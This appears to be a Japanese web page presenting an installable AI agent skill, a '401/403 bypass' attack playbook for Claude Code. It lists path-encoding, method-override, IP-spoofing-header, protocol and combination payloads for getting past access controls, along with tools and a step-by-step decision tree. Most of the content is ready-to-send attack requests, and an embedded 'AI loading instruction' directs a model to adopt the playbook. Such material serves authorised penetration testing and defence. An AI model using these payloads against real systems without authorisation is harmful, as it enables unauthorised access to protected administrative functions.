401-403-bypass-techniques について
HTTP 401と403のアクセス制御を回避できる条件を調べるセキュリティスキルです。パス、メソッド、ヘッダー、プロトコルの変化や組み合わせ、技術別の検査項目をまとめています。
主な機能
- 01パス正規化のバリエーション
- 02HTTPメソッドと上書きのテスト
- 03ヘッダーによる回避の確認
- 04プロトコルバージョンの変化
- 05技術別のペイロード
活用シーン
- 01制限されたパスのアクセス制御評価
- 02リバースプロキシとバックエンドのパス差の検査
- 03メソッドやヘッダーに基づくACLの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill 401-403-bypass-techniquesインストール後、Claude Code で/401-403-bypass-techniquesを入力して読み込まれたか確認します。
詳細
スキル:401/403 バイパス手法 — エキスパート向け攻撃プレイブック
AI 読み込み指示:401/403 Forbidden の包括的なバイパス手法です。パス正規化のトリック、HTTP メソッドのオーバーライド、ヘッダーベースのバイパス(X-Original-URL、X-Forwarded-For)、プロトコルバージョンのトリック、組み合わせ攻撃を扱います。ベースモデルは通常、2~3 種類のヘッダーバイパスは把握していますが、パス操作のバリエーションと動詞+パスの組み合わせの全容を見落とします。
0. 関連するルーティング
- authbypass-authentication-flaws — より広範な認証バイパス(ログインの欠陥、セッション管理)
- waf-bypass-techniques — アクセス制御ではなく、WAF 固有のバイパスの場合
- http-host-header-attacks — ルーティングをバイパスするための Host ヘッダー操作
- request-smuggling — アクセス制御を完全にすり抜けるリクエストスマグリング
- http2-specific-attacks — プロキシ ACL をバイパスするための h2c スマグリング
1. パス操作によるバイパス
基本的な考え方:リバースプロキシ/WAF がある形式のパスをチェックする一方、バックエンドは異なる方法で正規化します。
1.1 末尾のスラッシュ/スラッシュの欠落
/admin → 403
/admin/ → 200 ✓ (trailing slash)
/admin/. → 200 ✓ (trailing dot)
1.2 大文字と小文字の区別
/admin → 403
/Admin → 200 ✓
/ADMIN → 200 ✓
/aDmIn → 200 ✓
有効な条件:プロキシのルールでは大文字と小文字を区別するが、バックエンドでは区別しない場合(Windows/IIS でよくあります)。
1.3 URL エンコード
/admin → 403
/%61dmin → 200 ✓ (encode 'a')
/admi%6e → 200 ✓ (encode 'n')
/%61%64%6d%69%6e → 200 ✓ (full encode)
1.4 二重 URL エンコード
/admin → 403
/%2561dmin → 200 ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f → 200 ✓
/admin..%252f → 200 ✓
1.5 Unicode/UTF-8 エンコード
/admin → 403
/admi%C0%AE → 200 ✓ (overlong UTF-8 for '.')
/admi%C0%6E → 200 ✓ (overlong encoding)
/%C0%AFadmin → 200 ✓ (overlong '/')
1.6 ドットセグメント/パストラバーサル
/admin → 403
/./admin → 200 ✓
//admin → 200 ✓
/admin/./ → 200 ✓
/.//admin → 200 ✓
/admin..;/ → 200 ✓ (Tomcat path parameter)
1.7 Null バイト
/admin → 403
/admin%00 → 200 ✓
/admin%00.json → 200 ✓
/%00/admin → 200 ✓
1.8 パスパラメーターインジェクション
/admin → 403
/admin;foo=bar → 200 ✓ (Tomcat/Java treats ; as path param)
/admin; → 200 ✓
/admin;x → 200 ✓
1.9 末尾の特殊文字
/admin%20 (space) /admin%09 (tab) /admin? (empty query)
/admin.json /admin.html /admin/~
1.10 バックスラッシュ(Windows/IIS)
/admin\ /admin\..\/ \..\admin
1.11 パストリックの組み合わせ
///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin
2. HTTP メソッドのバイパス
2.1 メソッドを直接変更する
GET /admin → 403
POST /admin → 200 ✓
PUT /admin → 200 ✓
PATCH /admin → 200 ✓
DELETE /admin → 200 ✓
OPTIONS /admin → 200 ✓ (may leak allowed methods)
TRACE /admin → 200 ✓ (may reflect headers — XST)
HEAD /admin → 200 ✓ (same as GET but no body — confirms access)
2.2 メソッドオーバーライドヘッダー
プロキシはメソッドでブロックする一方、バックエンドはオーバーライドヘッダーを読み取る場合:
GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT
GET /admin HTTP/1.1
X-Method-Override: POST
GET /admin HTTP/1.1
X-HTTP-Method: DELETE
POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT (in POST body — Rails, Laravel)
2.3 カスタム/無効なメソッド
FOOBAR /admin HTTP/1.1 → some ACLs only check GET/POST
GETS /admin HTTP/1.1 → typo-like methods may bypass
CONNECT /admin HTTP/1.1 → proxy may tunnel
PROPFIND /admin HTTP/1.1 → WebDAV method
MOVE /admin HTTP/1.1 → WebDAV method
3. ヘッダーベースのバイパス
3.1 URL 書き換えヘッダー(Nginx/IIS)
これらのヘッダーは、プロキシレベルのパスチェックをバイパスして、バックエンドに「実際の」URL を伝えます:
GET / HTTP/1.1
X-Original-URL: /admin
GET / HTTP/1.1
X-Rewrite-URL: /admin
プロキシには GET /(許可済み)と見えますが、バックエンドは /admin にルーティングします。
3.2 IP 偽装ヘッダー(許可リストのバイパス)
試すヘッダー(それぞれの値に 127.0.0.1、10.0.0.1、0.0.0.0、::1 を指定):
X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
IP のエンコードバリエーション:0177.0.0.1(8 進数)、2130706433(10 進数)、0x7f000001(16 進数)、localhost
3.3 その他のヘッダートリック
Referer: https://target.com/admin # Referrer check bypass
Origin: https://target.com # Origin check bypass
Host: localhost # Host header manipulation
X-Forwarded-Host: localhost # Forwarded host
Content-Type: application/json # Content-type switch
X-Requested-With: XMLHttpRequest # AJAX flag
4. プロトコルバージョンのバイパス
# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0
# HTTP/0.9 (extremely legacy — no headers)
GET /admin
# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses
5. メソッドの改ざん+パスの組み合わせ
成功率を高めるため、複数の手法を組み合わせます:
POST / HTTP/1.1 # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET
GET /%61dmin HTTP/1.1 # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1
GET /Admin HTTP/1.0 # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1
6. テクノロジー固有のバイパス
| サーバー | 主なトリック |
|---|---|
| Apache | /admin/(末尾のスラッシュ)、/.admin(ドット接頭辞)、/admin%0d(CR) |
| Nginx | /Admin(大文字と小文字)、/admin../(正規化)、X-Original-URL: /admin |
| IIS/ASP.NET | /admin;.css(パスパラメーター+拡張子)、/admin\(バックスラッシュ)、/admin::$DATA(ADS)、/admin%20 |
| Tomcat/Java | /admin;foo(パスパラメーター)、/admin..;/(トラバーサル)、/;/admin(空のパラメーター) |
| Spring | /admin.anything(サフィックスマッチング、古いバージョン)、/admin/(末尾のスラッシュ) |
7. 自動化ツール
| ツール | 目的 | URL |
|---|---|---|
| byp4xx | 包括的な 403 バイパススキャナー | github.com/lobuhi/byp4xx |
| 403bypasser | ヘッダー/パス/メソッドの自動バイパス | github.com/sting8k/403bypasser |
| dirsearch | エンコードバリエーションを使ったディレクトリ総当たり | github.com/maurosoria/dirsearch |
| feroxbuster | 再帰的なコンテンツ検出 | github.com/epi052/feroxbuster |
| Burp Intruder | 手動テスト用のカスタムペイロードリスト | portswigger.net |
byp4xx の使用方法
# Basic usage
./byp4xx.sh https://target.com/admin
# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found
8. 判断フロー
Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│ ├── /path/ (trailing slash)
│ ├── /PATH (case change)
│ ├── /path%20 (trailing space)
│ ├── /./path (dot segment)
│ ├── //path (double slash)
│ ├── /path;x (path parameter — Java/Tomcat)
│ ├── /path..;/ (Tomcat specific)
│ ├── /%2e/path (encoded dot)
│ ├── /path%00 (null byte)
│ ├── /path%23 (encoded hash)
│ └── Result? → 200 = bypass found
│
├── Path tricks failed → Try METHOD BYPASS
│ ├── POST/PUT/PATCH/DELETE/OPTIONS
│ ├── HEAD (same as GET without body)
│ ├── X-HTTP-Method-Override: PUT
│ └── TRACE (may reflect auth headers — XST)
│
├── Method tricks failed → Try HEADER BYPASS
│ ├── X-Original-URL: /path (Nginx/IIS rewrite)
│ ├── X-Rewrite-URL: /path (same concept)
│ ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│ ├── X-Real-IP: 127.0.0.1
│ ├── True-Client-IP: 127.0.0.1
│ └── Referer: https://target.com/path
│
├── Header tricks failed → Try PROTOCOL BYPASS
│ ├── HTTP/1.0 instead of 1.1
│ ├── HTTP/2 h2c smuggling (../http2-specific-attacks/)
│ └── WebSocket upgrade
│
├── Single techniques failed → Try COMBINATIONS
│ ├── Method + Path: POST /PATH/
│ ├── Header + Path: X-Forwarded-For + /path%20
│ ├── All three: POST + X-Original-URL + IP headers
│ └── Protocol + Path: HTTP/1.0 + encoded path
│
├── All bypasses failed → Consider ALTERNATIVE APPROACHES
│ ├── Request smuggling (../request-smuggling/) → smuggle past ACL
│ ├── SSRF (../ssrf-server-side-request-forgery/) → access from server
│ ├── IDOR (../idor-broken-object-authorization/) → access data directly
│ └── Auth flaws (../authbypass-authentication-flaws/) → login bypass
│
└── Automated scan with byp4xx / 403bypasser for completeness
9. クイックリファレンス — 主なペイロード
# Top 10 quick-wins (try these first)
GET /admin/ HTTP/1.1 # trailing slash
GET /Admin HTTP/1.1 # case change
GET /admin%20 HTTP/1.1 # trailing space
GET /./admin HTTP/1.1 # dot segment
GET //admin HTTP/1.1 # double slash
POST /admin HTTP/1.1 # method change
GET / HTTP/1.1 # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1 # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1 # IIS path param
GET /admin..;/ HTTP/1.1 # Tomcat bypass